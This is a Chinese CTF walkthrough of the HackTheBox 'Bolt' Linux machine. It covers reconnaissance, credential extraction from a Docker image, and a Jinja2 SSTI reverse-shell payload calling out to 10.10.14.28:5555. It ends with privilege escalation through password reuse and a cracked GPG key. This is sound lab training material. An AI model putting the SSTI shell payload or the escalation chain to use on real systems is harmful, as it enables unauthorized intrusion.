『靶场』Hackthebox-Bolt靶机

admin 2022年3月30日17:20:32评论154 views字数 2553阅读8分30秒阅读模式

点击蓝字

关注我们



日期:2022-03-29

作者:herbmint

介绍:Hackthebox-Bolt靶机实战。


0x00 前言

Bolt靶机为Linux机器,上线时间为2021年9月25日,难度级别Medium,官方评分4.5,主机IP为:10.10.11.114

0x01 靶机实战

1.1 信息搜集

1)  使用nmap进行端口扫描

开放端口有22、80、443。对端口进行访问,发现80端口搭建有web服务。

『靶场』Hackthebox-Bolt靶机

2)对目录进行扫描
扫描到的目录如下图所示,查看之后这些目录为web服务页面模块下的目录。

『靶场』Hackthebox-Bolt靶机

1.2漏洞探测

1)端口利用

查看80端口开启的web服务页面,发现其使用的是ADMIN LTE进行管理。

『靶场』Hackthebox-Bolt靶机

对登录页面尝试弱口令登录,不能登录成功。

『靶场』Hackthebox-Bolt靶机

尝试去注册一个账户登录。

『靶场』Hackthebox-Bolt靶机

提交完注册请求之后显示服务器内部错误,看来注册点无法被利用。

『靶场』Hackthebox-Bolt靶机

2)目录利用
访问/download目录,这是一个下载页面,可以下载image.tar文件。

『靶场』Hackthebox-Bolt靶机

将下载下来的文件进行解压查看后发现有很多的文件。

『靶场』Hackthebox-Bolt靶机

对文件进行挨个查看之后,在a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2文件夹下的layer文件中发现有一个数据库文件db.sqlite3

『靶场』Hackthebox-Bolt靶机

连接此数据库文件进行查看,发现了用户名、邮箱和密码hash

『靶场』Hackthebox-Bolt靶机

使用join对此hash值进行破解,得到密码:deadbolt

『靶场』Hackthebox-Bolt靶机

现在我们得到的信息有:账户名为admin、密码为deadbolt和邮箱[email protected]
在登录页面使用得到的账号密码登录,进入到后台页面,并且可以看到这个网站是AdminLTE Flask框架。

『靶场』Hackthebox-Bolt靶机

对首页进行查看,发现有一个对话框,里面提到了Docker镜像,推测其可能存在其他的主机。

『靶场』Hackthebox-Bolt靶机

接下来我们查找一下子域名看看能不能找到其他的主机,可以看到我们得到了两台主机。

『靶场』Hackthebox-Bolt靶机

将两台主机添加到hosts文件中。
访问mail.bolt.htb之后发现这是个邮箱系统,利用之前得到的账户名密码登录,不能成功登录。

『靶场』Hackthebox-Bolt靶机

查看另外一个demo.bolt.htb,发现此页面和80端口的页面是相同的,接着尝试之前的账户密码登录,不能登录。

『靶场』Hackthebox-Bolt靶机

这个页面的注册点好像是可以注册的,但是需要邀请码。

『靶场』Hackthebox-Bolt靶机

image文件中查找邀请码,成功获取到邀请码。

『靶场』Hackthebox-Bolt靶机

有了邀请码之后就可以直接注册登录了。

『靶场』Hackthebox-Bolt靶机

我们已经知道这个系统使用的是AdminLTE Flask框架,我们可以找找传输数据的点,看看可不可以利用SSTI漏洞。
在设置处,我们可以更新我们的个人信息,但是需要邮箱进行验证。

『靶场』Hackthebox-Bolt靶机

使用刚才注册的账号密码登录邮箱系统,成功登录。

『靶场』Hackthebox-Bolt靶机

构造语句来验证是否存在SSTI

『靶场』Hackthebox-Bolt靶机

邮箱系统收到确认名称的邮件,点击之后会收到修改成功的邮件,上面显示了我们输入的结果。

『靶场』Hackthebox-Bolt靶机

可以确定存在SSTI了。
3)漏洞利用
构造语句进行反弹shell
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.28/5555 0>&1"').read() }}
使用nc开启监听5555端口,成功反弹回shell

『靶场』Hackthebox-Bolt靶机

可以看到我们现在的权限是服务器的权限,我们需要将权限提升到用户权限。

1.3权限提升

1)将权限提升至用户权限

查看具有bash权限的用户,可以看到除了root用户之外还有两个其他的用户EddieClak都可以被用于登录。

『靶场』Hackthebox-Bolt靶机

这里我们借助linpeas提权辅助脚本,查看当前服务器有无可以利用的点。
这里我们可以看到有一个组可以写入文件。

『靶场』Hackthebox-Bolt靶机

这里我们先切换到passbolt目录下,查看一下此目录下的文件。

『靶场』Hackthebox-Bolt靶机

passbolt.php文件中,得到了数据库名和密码。

『靶场』Hackthebox-Bolt靶机

登录此数据库。

『靶场』Hackthebox-Bolt靶机

在数据库中查看用户信息,未发现密码信息。

『靶场』Hackthebox-Bolt靶机

但是在查看表名的时候发现有一个secrets表,里面有一些信息,但是我们没有私钥无法解密此信息。我们先将其复制出来保存为gpg.asc文件,看之后会不会有用。

『靶场』Hackthebox-Bolt靶机

至此我们算是步入了僵局,整理已知信息,我们有两个可以用于登录的用户名,知道数据库名和密码,并且还有一个加密信息。
尝试使用已知的用户名和数据库的密码登录,发现可以登录成功。

『靶场』Hackthebox-Bolt靶机

现在我们获取到了user的权限。

『靶场』Hackthebox-Bolt靶机

2)将普通用户权限提升至root权限
继续使用linpeas辅助提权脚本,查看有无可利用的点。
可以发现有一个和当前用户的邮箱文件,还有几个密码和key的文件。

『靶场』Hackthebox-Bolt靶机

『靶场』Hackthebox-Bolt靶机

我们先查看一下当邮件文件,邮件中有提示需要备份一下私钥,我们需要查找一下私钥文件。

『靶场』Hackthebox-Bolt靶机

这里查看一下/home/eddie/gpg.key文件,这可能就是我们的私钥文件了。

『靶场』Hackthebox-Bolt靶机

将私钥文件复制出来保存,然后使用gpg2john将其转换成hash格式。

『靶场』Hackthebox-Bolt靶机

可以看到已经将其转化成hash格式了,然后使用hash破解的工具将私钥解密出来,我们得到了私钥:merrychristmas

『靶场』Hackthebox-Bolt靶机

现在我们可以尝试解密一下passbolt数据库中得到的加密信息。首先,我们要导入eddie的账户的私钥。

『靶场』Hackthebox-Bolt靶机

导入私钥之后,尝试解密之前的加密信息。

『靶场』Hackthebox-Bolt靶机

解密之后我们得到一个密码。使用此密码登录root用户,成功获取到root权限。

『靶场』Hackthebox-Bolt靶机

0x02总结

此靶机难度不是很高,首先利用源码文件得到了登录的账户名密码,后续发现存在其他主机,登录其他主机之后通过SSTI漏洞拿到的权限又只是服务器的权限,需要提权到普通用户,提权到普通用户之后,又需要通过解密OpenPGP的公钥私钥拿到密码,获取到root权限。


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

『靶场』Hackthebox-Bolt靶机

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。


原文始发于微信公众号(宸极实验室):『靶场』Hackthebox-Bolt靶机

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日17:20:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『靶场』Hackthebox-Bolt靶机http://cn-sec.com/archives/855809.html

发表评论

匿名网友 填写信息